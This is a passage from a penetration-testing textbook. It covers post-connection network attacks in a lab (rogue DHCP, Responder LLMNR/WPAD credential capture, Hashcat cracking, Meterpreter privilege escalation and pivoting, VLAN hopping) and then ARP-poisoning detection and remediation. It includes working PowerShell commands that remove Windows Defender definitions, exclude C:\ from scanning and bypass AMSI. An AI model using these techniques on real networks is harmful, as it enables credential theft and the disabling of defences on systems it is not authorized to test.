packet, it responds with a DHCP Offer packet. This packet contains available IP settings,
which the client can use on the network. After the client receives and checks the offer from
the server, the client responds with DHCP Request, which is used to inform the server that
the IP information will be used. Lastly, the DHCP server provides an acknowledgment and
confirmation by sending a DHCP ACK packet.

The following diagram outlines the DHCP process:
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Since a DHCP server typically provides the default gateway information to client devices, if
the DHCP server were to provide another path to the internet, let's say through an attacker
machine, the client (victim) machine would accept the new path and forward their packet
accordingly. Additionally, changing the DNS server configurations on a client machine to
forward all DNS queries to a fake DNS server can result in the loading of phishing web
pages on a victim's browser.

In this section, we will create a rogue DHCP server to redirect victims' traffic on the
network. To get started, we will use the Metasploit framework to create our rogue DHCP
server:

Enable the PostgreSQL database and Metasploit by using the following1.
commands:

service postgresql start
msfconsole

Metasploit contains a module that allows us to enable a DHCP server. Use the2.
commands as shown in the following screenshot:

The show options command will display a description of parameters that are
both optional and required prior to executing this module in Metasploit.

Technet24
||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


Network Penetration Testing - Post-Connection Attacks Chapter 11

[ 351 ]

We will set the start and end IP addresses, the network broadcast address, the3.
network mask (subnet mask), the DNS server, the default gateway (default
router) and the IP address of the rogue DHCP server. The following screenshot
demonstrates how to set the values for each parameter:

When you're finished, use the show options command to verify that the values4.
are set correctly for each parameter:

When you're ready to launch/execute the module, type run and hit Enter.5.

The following snippet is from a Windows 10 machine in our penetration lab.
Looking closely, you can see that the IP configurations are within the parameters
we had previously configured on our rogue DHCP server in Metasploit:
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Additionally, the following is the Wireshark capture of the DHCP messages during the
launch of the rogue DHCP server on the network:
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Looking closely at the screenshot, we can see the DHCP Discover packet sent from the
Windows 10 machine looking for a DHCP server on the network. Eventually, our rogue
DHCP server was able to respond to the client with a DHCP Offer packet.

The following shows the content of the DHCP Offer packet that was sent to the victim, the
Windows 10 machine:

We can see the client-assignable IP address (10.10.10.101), the default gateway
(10.10.10.16), the client's MAC address, the type of DHCP message (Offer), the DHCP
server's IP address (10.10.10.16), the subnet mask, and the DNS server configurations.

DHCP Request is sent from the client to the DHCP server (rogue) to confirm the IP 
configurations received from the DHCP Offer message. Lastly, the DHCP server (rogue)
sends a DHCP ACK packet to acknowledge that the client is going to use the information
provided.
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You now have the skills to launch a DHCP attack on a target network using Metasploit. In
the next section, we will cover Link-Local Multicast Name Resolution (LLMNR) and
NetBIOS attacks.

Exploiting LLMNR and NetBIOS-NS
In many organizations, as a penetration tester, you will encounter a lot of Windows Server
machines that serve the role of domain controller (DC). A DC is simply a Windows server
machine running Active Directory Domain Services and is used to manage all the devices
within the organization. Active Directory (AD) is used by IT professionals to manage
components such as computers and users on a network. Additionally, IT professionals can
use Group Policy Objects (GPOs) in AD to assign privileges to end devices and users,
thereby creating restrictions to prevent unauthorized activities and actions on the network.

Within a Windows environment, both the NetBIOS-NS and LLMNR protocols are present.
NetBIOS-NS means Network Basic Input/Output System name service. NetBIOS-NS is 
commonly used to resolve hostnames on local networks. NetBIOS has been around for
quite a long time and is outdated. However, it is still being used to communicate with
older, legacy systems.

Today, the LLMNR protocol is commonly used on networks where a Domain Name Server
(DNS) server is not present or available. Similar to NetBIOS-NS, LLMNR is also used to
resolve hostnames on a network.

Using Kali Linux, we can take advantage of the security vulnerabilities in these protocols.
In this scenario, we will attempt to perform an MITM attack on our lab network. This
design contains the following:

Windows Server 2016 with Active Directory Domain Services
A new domain named pentestlab.local
Windows 10 machine acting as a client in the domain
Kali Linux as the attacker machine using Responder to perform LLMNR
poisoning
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In this exercise, we will be using the following topology to perform our attack:

Ensure that you have installed Windows Server 2016 in your lab. If you haven't done so
already, please read Chapter 3, Setting Up Kali - Part 2, which contains the guidelines for
installing Windows as a virtual machine.

To set up Active Directory in Windows Server 2016, please use the
following URL: https:/ /blogs. technet. microsoft. com/ canitpro/ 2017/
02/22/ step- by- step- setting- up-active- directory- in-windows-
server- 2016/ .

To join the pentestlab.local domain using a Windows 10 machine,
please refer to the following URL for instructions: https:/ /
helpdeskgeek. com/ how- to/ windows- join- domain/ . Additionally, on your
Windows 10 machine, you will need to set the DNS Server as the IP
address of the Windows Server 2016 machine before joining the domain.

Once the lab is ready, let's head over to our Kali Linux machine. We will use Responder to
perform our MITM attack to capture various protocol messages.

To get started in terms of exploiting LLMNR and NetBIOS, observe the following
instructions:

Using the locate utility, we will discover the location of Responder.py, as1.
shown in the following screenshot:
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Change your current working directory to /usr/share/responder. Next,2.
enable Responder to listen in on traffic on the network, as shown in the following
screenshot:

We will use the following parameters in Responder:

-I, to specify the listening interface
-r, to enable responses for NetBIOS queries on the network
-d, to enable NetBIOS replies for domain suffix queries on the
network
-w, to enable the WPAD rogue proxy server
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By default, Responder performs poisoning attacks on victims. Whenever the 3.
client attempts to access a resource on the network, such as file share, the user's
credentials are sent over the wire, as shown in the following screenshot:

We are able to identify the following:

The client's IP address
The domain name
The victim's username (bob)
The victim's password in the form of an NTLMv2 hash
The hashing algorithm
The fact that the user was attempting to access a Server Message
Block (SMB) file share on the network

Copy the hash and save it into a text file on your desktop. I have saved my hash
on my desktop in a file named Hash.txt.

By default, Responder saves hashes in the
/usr/share/responder/logs directory using the victim's IP address as
part of the naming convention for the text file.
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Next, we can use Hashcat to perform offline password cracking of the NTLMv24.
hash to recover the plaintext password of the user. Use the following syntax to
perform password cracking with Hashcat:

hashcat -m 5600 Hash.txt <wordlist file> --force

Remember that performing password cracking can be a time-consuming task. Additionally,
ensure that the wordlist list/directory file contains a large number of entries to increase the
possibility of success.

Use the -m parameter to specify a mode in Hashcat. A mode is used to tell
Hashcat the type of hash. Mode 5600 is used for Network Protocol –
NetNTLMv2. Additionally, to discover other modes, use the hashcat --
help command.

To download the SecLists wordlist, please refer to the following URL: https:/ /github.
com/danielmiessler/ SecLists.

Furthermore, you can use John the Ripper to perform password cracking on the hashes
you have captured using Responder.

Now that you have completed this section, you are now able to exploit the weaknesses in
LLMNR. In the next section, we will demonstrate how to exploit WPAD vulnerabilities.

WPAD protocol attacks
Within a corporate network, system administrators usually allow employees to access the
internet through a proxy server. The proxy server usually improves performance and
security, and monitors web traffic entering and leaving the corporate network. WPAD is a
technique that is used on client machines to discover the URL of a configuration file via
DHCP discovery methods. Once a client machine discovers a file, it is downloaded on the
client machine and executed. The script will determine the proxy for the client.
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In this exercise, we are going to use Responder on Kali Linux to capture a victim's user
credentials. Before we begin, the following topology will be used in this exercise:

Using the following steps, we will be able to easily exploit WPAD in a Windows
environment:

The lab configurations are the same as those in the previous section.

Ensure that the Windows 10 client machine has joined the domain hosted by1.
Windows Server.
On your Kali Linux machine, change your working directory to the Responder2.
location using the cd /usr/share/responder command.
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Execute the python Responder.py -I eth0 -wFb command:3.

The switches used in the snippet provide the following functions:

-I: Specifies the interface to use
-w: Enables the WPAD rogue proxy server
-F: Forces NTLM authentication on wpad.dat file retrieve
-b: Is used to return basic HTTP authentication
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When the victim attempts to browse or access any local resources on the4.
network, the following login window will appear:

Once the victim enters their user credentials, Responder will display them in5.
plaintext, as shown in the following screenshot.

Please note that the user account used in this example is one that I have
set myself in my personal lab domain for educational purposes.
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Just as a reminder, all logs generated and data captured by Responder are stored in the
/usr/share/responder/logs directory. Now, you are able to capture employees' user
credentials by exploiting WPAD on a corporate network:

In the next section, we will learn about Wireshark.

Wireshark
Wireshark is one of the best network protocol analyzers and sniffers in the industry. Its
capabilities are extensive and provide in-depth results and analysis on network packets. For
every conversation or transaction that happens on a network, Wireshark is able to provide a
breakdown of the composition of each packet.

We will begin by taking an overview of the functions of Wireshark.

Basic overview of Wireshark and how to use it in
MITM attacks
Wireshark is already pre-installed on your Kali Linux operating system. To get started,
perform the following steps:

Navigate to Applications | 09 – Sniffing & Spoofing | wireshark.1.
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Once Wireshark is open, you'll be presented with the user interface as shown in2.
the following screenshot:

Wireshark will provide a list of all network interfaces and display a live3.
summary graph of live network traffic passing through each network adapter.
Double-clicking an interface will immediately start a live capture on the network
interface card.

Enabling a capture on your local system will only display traffic flowing between your
attacker machine and the remainder of the network. This means that Wireshark will only be
able to intercept/sniff network traffic that is inbound to, and outbound from, your
computer. That's not so handy, is it?

Let's take a look at creating a mirror of all network traffic from a network switch and
sending it to our attacker machine.
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Configuring a SPAN port
SPAN allows a switch to create a copy of traffic on one or more ports and send the same
copy out of another port. This configuration is usually done when a network security
administrator wants to connect a protocol analyzer (sniffer) or an intrusion detection
system (IDS) to the network to monitor for any security threats:

In the diagram, the attacker machine (running Wireshark) is connected to the Fast Ethernet
0/1 interface on a Cisco IOS 2960 switch, while the other devices are connected to the same
network segment. Let's say we would like to get a copy of all traffic flowing between the
Fast Ethernet 0/2, Fast Ethernet 0/3, and Fast Ethernet 0/4 ports.

To perform this task of configuring a SPAN port on a Cisco IOS switch, use the following
guidelines:

We can use the following command to send the output to Fast Ethernet 0/1:1.

Switch (config)# monitor session 1 source interface
fastethernet 0/2
Switch (config)# monitor session 1 source interface
fastethernet 0/3
Switch (config)# monitor session 1 source interface
fastethernet 0/4
Switch (config)# monitor session 1 destination interface
fastethernet 0/1
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To verify the configurations, use the show monitor command on the switch:2.

The output shows us that the source ports (used for monitoring network traffic) and
destination ports are configured properly. Once we have enabled Wireshark on our attacker
machine to start capturing on our local interface, eth0, all network packets will be shown
live on the Wireshark user interface.

Having completed this section, you are now able to configure a SPAN port on a Cisco IOS
switch. In the next section, we will dive into configuring Wireshark to sniff network traffic.

Configuring a monitor (sniffer) interface on
Wireshark
To configure a monitoring (sniffer) interface on Wireshark, observe the following
instructions:

Click on Capture | Options to display all network interfaces on the local1.
machine:
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Select the appropriate network interface, select Enable promiscuous mode on all2.
interfaces, and then click Start to begin capturing network packets:

The Packet List pane will begin to populate network packets as transactions take3.
place on the network. Clicking on a packet will display all its details and fields
within the following Packet Details pane:

As packets are being populated on the interface, the experience may be a bit overwhelming.
In the following sub-sections, we will take a practical approach in performing HTTP
analysis and other types of analysis to ascertain some important information.
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Having completed this section, you are now able to use Wireshark as a sniffer on a
network. In the next section, we will demonstrate how to perform traffic analysis in order
to gather sensitive information using Wireshark.

Parsing Wireshark packet captures to find the
goods
In the following exercise, we'll be using capture from The Honeynet Project
(www.honeynet.org) to help us understand packet analysis. To perform the parsing of 
Wireshark packets, observe the following steps:

Go to https:/ /www. honeynet. org/node/ 1220 and download the1.
conference.pcapng file. Additionally, the following URL, https:/ /honeynet.
org/sites/ default/ files/ conference. pcapng. gz, is a direct download link to
the file.
Once downloaded, open the conference.pcapng file using Wireshark; you2.
should have the following view:

A helpful feature of Wireshark is to auto-resolve IP addresses to hostnames via3.
DNS, resolve MAC addresses to vendor names, and resolve port numbers to
services and protocols. To enable this feature, go to Edit | Preferences | Name
Resolution. Ensure the following options are checked:

||||||||||||||||||||

||||||||||||||||||||

http://www.honeynet.org
https://www.honeynet.org/node/1220
https://www.honeynet.org/node/1220
https://www.honeynet.org/node/1220
https://www.honeynet.org/node/1220
https://www.honeynet.org/node/1220
https://www.honeynet.org/node/1220
https://www.honeynet.org/node/1220
https://www.honeynet.org/node/1220
https://www.honeynet.org/node/1220
https://www.honeynet.org/node/1220
https://www.honeynet.org/node/1220
https://www.honeynet.org/node/1220
https://www.honeynet.org/node/1220
https://honeynet.org/sites/default/files/conference.pcapng.gz
https://honeynet.org/sites/default/files/conference.pcapng.gz
https://honeynet.org/sites/default/files/conference.pcapng.gz
https://honeynet.org/sites/default/files/conference.pcapng.gz
https://honeynet.org/sites/default/files/conference.pcapng.gz
https://honeynet.org/sites/default/files/conference.pcapng.gz
https://honeynet.org/sites/default/files/conference.pcapng.gz
https://honeynet.org/sites/default/files/conference.pcapng.gz
https://honeynet.org/sites/default/files/conference.pcapng.gz
https://honeynet.org/sites/default/files/conference.pcapng.gz
https://honeynet.org/sites/default/files/conference.pcapng.gz
https://honeynet.org/sites/default/files/conference.pcapng.gz
https://honeynet.org/sites/default/files/conference.pcapng.gz
https://honeynet.org/sites/default/files/conference.pcapng.gz
https://honeynet.org/sites/default/files/conference.pcapng.gz
https://honeynet.org/sites/default/files/conference.pcapng.gz
https://honeynet.org/sites/default/files/conference.pcapng.gz
https://honeynet.org/sites/default/files/conference.pcapng.gz
https://technet24.ir
https://technet24.ir


Network Penetration Testing - Post-Connection Attacks Chapter 11

[ 368 ]

Click OK to confirm and save the configuration. Back on the main user interface,4.
you'll notice that all the public IP addresses are now resolved to their public
hostnames:
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What makes Wireshark such a powerful tool is its display and capture filters. To5.
see all traffic originating from a source IP address, use the ip.src == <ip
address> filter:

To display all traffic for a specific destination address, we can use the ip.dst == <ip
address> filter. However, we can combine filters to view traffic from a specific source to a
destination using the (ip.src == <ip address>) && (ip.dst == <ip address>)
filter. In the following screenshot, we are using a filter to view all traffic originating from
172.16.254.128 going to Google's DNS server 8.8.8.8:

When combining filters, you'll need to use logic operations to get the task done. The
following is a short list of various operators for combining filters in Wireshark:
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The Ge operator is used to indicate greater than or equal to, while the Le operator is used
to indicate less than or equal to.

To learn more about Wireshark display filters, please visit https:/ / wiki.
wireshark. org/ DisplayFilters.

Memorizing display filters can be very challenging for anyone. However, Wireshark has
made it simple to create custom filters quite easily using the right-click options on the user
interface. Let's now try a few exercises to help you become more familiar with display
filters.

To get started with creating display filters in Wireshark, perform the following steps:

First, right-click on the source IP address on packet 1, and then click on Apply as1.
Filter | Selected to immediately create and apply the filter:
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Now, we have a filter showing all traffic originating from the 172.16.254.128
address.

Next, in the Destination column, right-click on 8.8.8.8 or google-public-2.
dns-a.google.com, click on Apply as Filter, and then select the option ...and
Selected:

This will create the effect of displaying only traffic originating from
172.16.254.128 going to Google's DNS server.

The Apply as Filter option will immediately apply the display filter on
Wireshark. However, Prepare as Filter provides the same options but does not
immediately apply the display filter. Rather, it allows you to continue building
the filter syntax and apply it afterward.

To view all conversations between devices on the network, click on Statistics |3.
Conversations:
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The Conversations window will open, providing multiple tabs with various
details such as Ethernet, IPv4, IPv6, TCP, and UDP sessions between devices, as
shown in the following screenshot:

You'll be able to determine which devices were communicating and transferring
packets for a given time.
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Wireshark allows us to easily view all the files that are downloaded and4.
uploaded over the network. To perform this task, click on File | Export Objects |
HTTP. The HTTP export window will open, displaying Packet, Hostname
(source), Content Type, Size, and Filename details. To export a file to your
desktop, select a packet on the interface and click on Save:

To export all the files from a Wireshark capture, use the Save All option.

To reassemble and view all the messages for a single conversation between two5.
devices, right-click on a packet and select Follow | TCP Stream:
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Wireshark will gather all the packets for this stream, reassemble them, and
present you with the dialog of messages exchanged between the two devices, as
shown in the following screenshot:
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The following is a screenshot of a Telnet conversation between a client and a Linux server.
Telnet is an unsecure protocol, and all communication between the Telnet client and Telnet
server is sent across the network in plaintext. The following screenshot shows how
Wireshark reassembles all the packets for a single conversation:

We can see the user credentials used to log in to the server, the server message of the day
(MOTD) banner, and all other transactions.

Having completed this section, you now have the skill set required to create custom display
filters in Wireshark. In the next section, we will learn about escalating privileges.
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Escalating privileges
Obtaining a user's credentials to access a system is only part of the gaining-access phase in
penetration testing. However, remember that not all user accounts have root or
administrator privileges. Therefore, remotely accessing a system with a non-root or
standard user account will prevent you from executing certain applications and performing
administrative tasks on the victim's system.

Escalating privileges can be executed using a variety of techniques, including the following:

Obtaining information from the SAM file on Windows
Retrieving data from the passwd file on Linux
Exploiting weak permissions on running processes on a system
Obtaining sensitive information found on stored network file shares
Capturing the hash value of a user's password while they are communicating
with another device on the network.

The information found in the SAM and passwd files contains the usernames and hash
values of the users' passwords. Using password cracking techniques, you'll be able to
retrieve the plaintext passwords of user accounts, which can then be used to gain access to
devices. Obtaining an administrator or root account will provide unrestricted access to the
system.

Having access to a system with a standard user account means we can execute a local
privilege escalation exploit to gain administrator or root-level access.
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Exploit-DB (https:/ / www. exploit- db. com/) provides a large repository of exploits for
many purposes; use the search feature on the Exploit-DB website to discover privilege
escalation exploits:

In the previous chapters, we demonstrated techniques using Metasploit to successfully
exploit a target and gain access. The Meterpreter component provides the getsystem
command, which attempts to escalate privileges on the target system as shown in the
following screenshot. Look closely: you will see that we are able to acquire nt
authority\system privileges on the victim. This is the highest level of access:

Within our Meterpreter shell, we can verify our level of access by using the shell
command to get the Windows Command Prompt of our victim's machine. Once the
Windows shell is obtained, we can now execute Windows-based commands such as
whoami to verify our level of privilege on the victim's machine.
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Always ensure that you perform extensive research about a target's vulnerability by
checking Exploit-DB (www.exploit-db.com) and the Common Vulnerabilities and 
Exposures (https:/ /cve. mitre. org/ ) database for exploits to assist you in gaining access
and escalating user privileges. In the next section, we will dive into lateral movement.

Lateral movement tactics
Lateral movement allows an attacker to pivot all attacks through a compromised machine
to other subnets within an organization. Let's imagine you're conducting a penetration test
on a client's network. Their organization contains multiple subnets but they haven't
informed you about the number of networks that actually exist. So, you start to scan the
network to look for live hosts and vulnerabilities, and to discover the topology.

You've discovered and mapped the entire 10.10.10.0/24 network and you begin to
exploit as many machines as possible. However, during your exploitation phase, you notice
something interesting on a particular victim machine, and, on the Meterpreter shell, you
execute the ipconfig command to view the IP configurations on the victim's machine:
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In our scenario, Interface 11 is connected to the same subnet as our attacker machine,
and Interface 18 is on another network. In some situations, if you attempt to access
another subnet, a router or firewall may be configured to restrict access between different
subnets for security purposes.

To get past security appliances and network access controls, the technique of lateral
movement (pivoting) should be used. As the attacker, we can attempt to compromise a
machine that is connected and is trusted on other subnets within the organization. Once
we've set up pivoting or lateral movement, all our attacks will be sent through the victim
machine and forwarded to the new target network, as shown in the following screenshot:

To perform lateral movement using Metasploit, observe the following instructions:

Using the arp command on Meterpreter will display the ARP cache. In the1.
following screenshot, there are two different networks connected to our victim:
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To enable lateral movement, execute the run post/multi/manage/autoroute2.
command within Meterpreter, as shown in the following screenshot:

This will add a route to the additional networks and allow your attacker machine
to send all its attacks to the victim machine (10.10.10.23) and forward them to
the 10.10.11.0/24 network.

To test lateral movement (pivoting), we can attempt to perform a NetBIOS scan3.
on the 10.10.11.0/24 network from our attacker machine:

The following results prove that our attacker machine is able to perform scans
and attacks on another subnet:
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Additionally, performing a TCP port scan on a target has proven fruitful since all4.
attacks are sent through the 10.10.10.23 machine:

We can then target the new subnet.

During a penetration test, we may be tasked with discovering hidden or remote networks.
For each system you have gained access to, be sure to check the ARP cache on the victim's
machine and attempt to perform lateral movement throughout the network.

In the next section, we will take a look at using PowerShell to disable Windows Defender.

PowerShell tradecraft
PowerShell is a command-line scripting language that is built on .NET. An IT professional
can use PowerShell to automate many tasks and manage their operating systems better.
Windows, Linux, and macOS all support PowerShell.

In the next section, we will dive into learning how to remove Windows Defender virus
definitions using PowerShell.

Removing Windows Defender virus definitions
On all modern versions of Microsoft Windows, Microsoft has included Windows Defender
as the native anti-malware protection. There are many home users and organizations that
utilize Windows Defender as their preferred anti-malware solution on end devices. As a
penetration tester, being undetected during a penetration test is very important as your
actions are designed to simulate a real-world attack.
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The following PowerShell script will remove all virus definitions from Windows Defender:

"c:\program files\windows defender\mpcmdrun.exe" -RemoveDefinitions -All
Set-MpPreference -DisablelOAVProtection $true

The following screenshot shows the output of the preceding script being successfully
executed on a Windows 10 machine:

Additionally, take a look at the Windows Defender version information; we can see that all
definitions have been removed:

Technet24
||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


Network Penetration Testing - Post-Connection Attacks Chapter 11

[ 383 ]

There may be cases where Windows Defender is re-enabled on a machine. Using the
following script will add the C:\ path to the Windows Defender exclusion list:

powershell
Add-MpPreference -ExclusionPath "c:\"

The following screenshot demonstrates how to execute the script successfully:

This technique will allow us to execute malicious code on the C: drive of the victim's
Windows machine.

Now that you have learned how to remove virus definitions from Windows Defender, we
will now cover how to disable Windows Antimalware Scan Interface (AMSI).

Disabling Windows Antimalware Scan Interface
Microsoft has included its AMSI in recent versions of Windows to prevent any sort of
malicious code from being executed on a local system. If you're compromising a Windows
operating system, executing PowerShell scripts can be very helpful, but AMSI will prevent
any malicious actions. To disable AMSI, execute the following PowerShell script:

"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField(
'amsilnitFailed','NonPublic,Static').SetValue($null,$true)"

The following screenshot shows the successful execution of the script on a Windows 10
operating system:

At this point, you can run almost any malicious code on your victim's Windows machine.

This section assumed that you have already compromised a Windows operating system on
a corporate network. In the next section, we will briefly discuss a common vulnerability
that is overlooked by many network administrators in the IT industry: VLAN hopping.
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Launching a VLAN hopping attack
Organizations usually implement virtual local area networks (VLANs) to segment and
improve the performance of their network infrastructure while improving security. When 
configuring VLANs, there are two main ports that we are concerned with: the access port
and the trunk port.

Access ports are those that are configured to connect the end device to the switch. These
ports only allow one data VLAN and an additional voice VLAN. When configuring an
access port, the VLAN ID is usually statically configured as an access port on a switch.

For multiple VLANs to communicate over a network, trunk ports need to be configured
between switches. Trunk ports allow multiple VLANs to pass traffic simultaneously. Trunk
ports are configured between switches and are configured between a switch and a router to
implement inter-VLAN routing, which allows one VLAN to communicate with another
VLAN.

There are many times when IT professionals do not configure networking devices properly.
A penetration tester can exploit this vulnerability and attempt to perform a VLAN hopping
attack. Once successful, the attacker machine will be able to access all available VLANs and
perform MITM attacks. The following diagram shows an attacker who has successfully
enabled an unauthorized trunk:
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Yersinia on Kali Linux allows an attacker to perform various types of layer 2 attacks on a
network to take advantage of security misconfigurations and weaknesses. To open yersinia,
execute the following command:

yersinia -G

The graphical user interface will appear on your desktop. To launch a VLAN hopping
attack, execute the following steps:

Click the Launch attack button.1.
A new window will appear. Click the DTP tab and select the enabling trunking2.
radio button, as shown in the following screenshot:

When you're ready, click OK to begin performing a VLAN hopping attack on the3.
network.

Having completed this section, you are now able to perform VLAN hopping attacks using
Kali Linux.

||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


Network Penetration Testing - Post-Connection Attacks Chapter 11

[ 386 ]

Summary
During the course of this chapter, you have learned about internal network scanning,
MITM attacks, packet analysis, privilege escalation, lateral movement using Meterpreter,
disabling Windows Defender using PowerShell, and VLAN hopping.

You now have the skills required to perform internal network scanning using tools such as
AutoScan-Network, Zenmap, and Netdiscover. Additionally, you are now able to capture
packets and perform packet analysis using Wireshark to view victims' traffic as it flows
through the target network. Furthermore, you know how to successfully execute post-
connection attacks such as lateral movement (pivoting), as well as how to disable Windows
Defender virus protection on a victim's system using PowerShell.

I hope this chapter will prove to be helpful and informative in your studies and career. In
Chapter 12, Network Penetration Testing - Detection and Security, you will learn about
detecting ARP poisoning attacks and suspicious activities and look at some remediation
techniques.

Questions
The following are some questions based on the topics we have covered in this chapter:

What tool can be used to access multiple VLANs on a misconfigured switch?1.
What command within Meterpreter can be used to escalate privileges?2.
What is the purpose of ARP?3.
Since Telnet is an insecure protocol, what other remote access protocol should be4.
used to prevent an attacker from seeing data during transmission?
On a Windows operating system, how can you determine your current user5.
privileges and the name of the user account?

Further reading
Lateral movement techniques: https:/ /attack. mitre. org/tactics/ TA0008/ 

Wireshark documents: https:/ /www. wireshark. org/ docs/ 
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12
Network Penetration Testing -

Detection and Security
Understanding the concept of network security as a penetration tester is an asset in itself. In
this chapter, we will focus on the cybersecurity operational side of things. Understanding
how to detect threats and suspicious network traffic patterns is important as it will assist
the IT security team in detecting and stopping attacks across the network. You will learn
about various blue team tactics that are used to detect and prevent cyberattacks within an
organization's network infrastructure. After submitting a penetration test report to the
customer, the customer may ask for additional services that allow them to detect and
prevent cyber threats in their organization. This chapter will aid you in getting started with
suspicious traffic monitoring and prevention techniques.

In this chapter, we will cover the following topics:

Using Wireshark to understand ARP
Detecting ARP poisoning attacks
Detecting suspicious activity
Man-in-the-Middle (MITM) remediation techniques
Sniffing remediation techniques

Technical requirements
The following are the technical requirements for this chapter:

Kali Linux: https:/ /www. kali. org/

Wireshark Telnet file: https:/ /wiki. wireshark. org/ SampleCaptures#Telnet

||||||||||||||||||||

||||||||||||||||||||

https://www.kali.org/
https://www.kali.org/
https://www.kali.org/
https://www.kali.org/
https://www.kali.org/
https://www.kali.org/
https://www.kali.org/
https://www.kali.org/
https://www.kali.org/
https://www.kali.org/
https://wiki.wireshark.org/SampleCaptures#Telnet
https://wiki.wireshark.org/SampleCaptures#Telnet
https://wiki.wireshark.org/SampleCaptures#Telnet
https://wiki.wireshark.org/SampleCaptures#Telnet
https://wiki.wireshark.org/SampleCaptures#Telnet
https://wiki.wireshark.org/SampleCaptures#Telnet
https://wiki.wireshark.org/SampleCaptures#Telnet
https://wiki.wireshark.org/SampleCaptures#Telnet
https://wiki.wireshark.org/SampleCaptures#Telnet
https://wiki.wireshark.org/SampleCaptures#Telnet
https://wiki.wireshark.org/SampleCaptures#Telnet
https://technet24.ir
https://technet24.ir


Network Penetration Testing - Detection and Security Chapter 12

[ 388 ]

Using Wireshark to understand ARP
The Address Resolution Protocol (ARP) was designed to resolve IP addresses to MAC
addresses. The importance of ARP is sometimes underestimated among IT professionals.
All the communication between devices on a local area network (LAN) or within the same 
subnet uses the Media Access Control (MAC) address. This means that the devices do not
use an IP address unless the communication is going beyond their local subnet, such as to
another network (or subnet).

Let's use a simple analogy of a PC that wants to send a document to be printed out to the
network printer. If these two devices are on the same subnet, the PC will encapsulate its
message (document) within a frame and send it to the network switch. The network switch
will read the destination MAC address of the frame and forward it to the network printer
for processing.

Let's take a look at the following screenshot. This is a frame that's been captured by
Wireshark. Looking at the layer 2 protocol, that is, ARP, we can determine a number of
things:

This frame is an Address Resolution Protocol (request) message. The sender of this frame
has a MAC address of 00:0c:29:7e:37:58 with an IP address of 10.10.10.16. The
10.10.10.16 machine is sending a broadcast on the local network. This can be determined
by observing that the destination MAC address in the frame is ff:ff:ff:ff:ff:ff;
however, the Target MAC address is empty, while the Target IP address is 10.10.10.23.
To put this simply, the 10.10.10.16 machine is asking everyone on the local network who
10.10.10.23 is and what the device's MAC address is.
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The following screenshot shows the Address Resolution Protocol (reply) (response) frame
from 10.10.10.16. Please take some time to observe all the fields within the frame:

The device that has the IP address of 10.10.10.23 responded to the sender
(10.10.10.16), saying that its MAC address is 00:0c:29:24:be:4f. For all future 
communication between 10.10.10.16 and 10.10.10.23, both devices have each other's
MAC addresses in their ARP cache. These MAC addresses will be used to forward frames
on the network.

In this section, you have learned how to use Wireshark to see and interpret ARP messages
that are flowing across a network. In the next section, we will cover how to detect an ARP
poisoning attack on a network.

Detecting ARP poisoning attacks
As a cybersecurity professional, you may be asked to help an organization identify any
ARP poisoning attacks on their network infrastructure.

ARP poisoning is the process in which an attacker sends fake ARP
messages to a victim's machine to create the effect of modifying the entries
in the victim's ARP cache. This would cause the victim's machines to send
frames (traffic) to a rogue device on the network rather than the legitimate
destination.
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To explain the detection process of ARP poisoning, we'll use the following topology:

Using Wireshark, we can look for specific patterns of traffic between endpoint devices on
the network. Using the arp filter on Wireshark, we will only be able to view ARP messages,
as shown in the following screenshot:

Within the Info column, a few of the packets have unusual descriptions. By expanding the
information of Frame 1 within the Packet Details pane, we will be able to see that a sender
(attacker) is sending a gratuitous ARP message (ARP reply) to 10.10.10.23 (a PC):
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Frame 1 is telling 10.10.10.23 that the MAC address of 10.10.10.1 (the gateway) is
00:0c:29:7e:37:58. This will cause the victim to update its ARP cache to map
10.10.10.1 to 00:0c:29:7e:37:58. However, this MAC address belongs to the Kali
Linux (attacker) machine.

The following screenshot shows the content of the frame that was sent from the attacker to
the gateway (10.10.10.1), stating that the MAC address of the PC (10.10.10.23) is now
00:0c:29:7e:37:58:

Additionally, Wireshark has been detecting the duplication of MAC addresses within the
ARP frames and has issued a warning in yellow. Please keep in mind that Wireshark is a
network protocol analyzer and not a threat monitoring application, and so human
intervention is required to perform further analysis of network traffic. Security appliances
and tools such as Cisco Stealthwatch, AlienVault SIEM, and OpenSOC can assist
cybersecurity professionals in quickly identifying threats.

In this section, you have learned how to detect an ARP poisoning attack using Wireshark.
In the next section, we will take a look at detecting suspicious activity on a network.

Detecting suspicious activity
Within many large organizations, the IT department usually implements a network
operation center (NOC) to monitor and resolve all network-related issues. With the rise of
security threats, organizations can sometimes implement a dedicated team that focuses on
cybersecurity; this team is called the security operation center (SOC).

The responsibilities of the SOC range from threat monitoring and remediation to security
appliance configurations, compliance, forensics, and even reverse malware engineering.
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Some of the suspicious activities that should be investigated by the SOC include the
following:

Abnormal traffic spikes during after-work hours
Unusual inbound and outbound traffic flow
Abnormal DNS requests

The following screenshot shows the Wireshark capture in my lab. By carefully observing
the flow of packets, we can see that a port scan is taking place:

The machine that is conducting the port scan has the IP address 10.10.10.16, while the
target has the IP address 10.10.10.100. The Info column provides a brief summary of
each packet. Here, we can see that a SYN probe is being sent to each network port. We can
clearly see that a SYN (Stealth) scan is being executed on the network.

To view all the TCP connections in Wireshark, follow these steps:

Click on Statistics | Endpoints.1.
Next, the Endpoints window will appear, displaying all the connections that2.
have been made to the target, 10.10.10.100, and the ports that were probed by
the attacker:
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Being in the field of cybersecurity, you will begin to develop the skill of recognizing
abnormal traffic patterns in network traffic. However, tools such as Wireshark can greatly
assist you in filtering for and viewing a specific type of packet that is flowing across a
network.

In this section, you have learned about the fundamentals of using Wireshark to detect
suspicious activity on a network. In the next section, we will cover various methods for
preventing and mitigating MITM attacks.

MITM remediation techniques
In this section, we are going to focus on some techniques that an IT professional can employ
to stop and prevent MITM attacks against a LAN. We will discuss the following topics to
learn about the roles they play on a LAN to stop and prevent MITM attacks:

Encryption
Dynamic ARP inspection (DAI)

Encryption
During an MITM attack, the attacker is able to intercept all the traffic between the victim
and the intended destination for their communication. Encrypted data will not be readable
by an attacker; however, the attacker will still be able to view the following details, despite
the encryption:

Source IP address
Destination IP address
Source port
Destination port
Layer 3 protocol
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On the attacker's machine, they will only be able to view the traffic that has been sent in
plain text. The following screenshot shows a Wireshark capture between a client and a
Linux server on a network:
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The server is using Telnet as its method of remote access. The user's input is given in red,
while the server responses are given in blue. Here, we can see that Wireshark has 
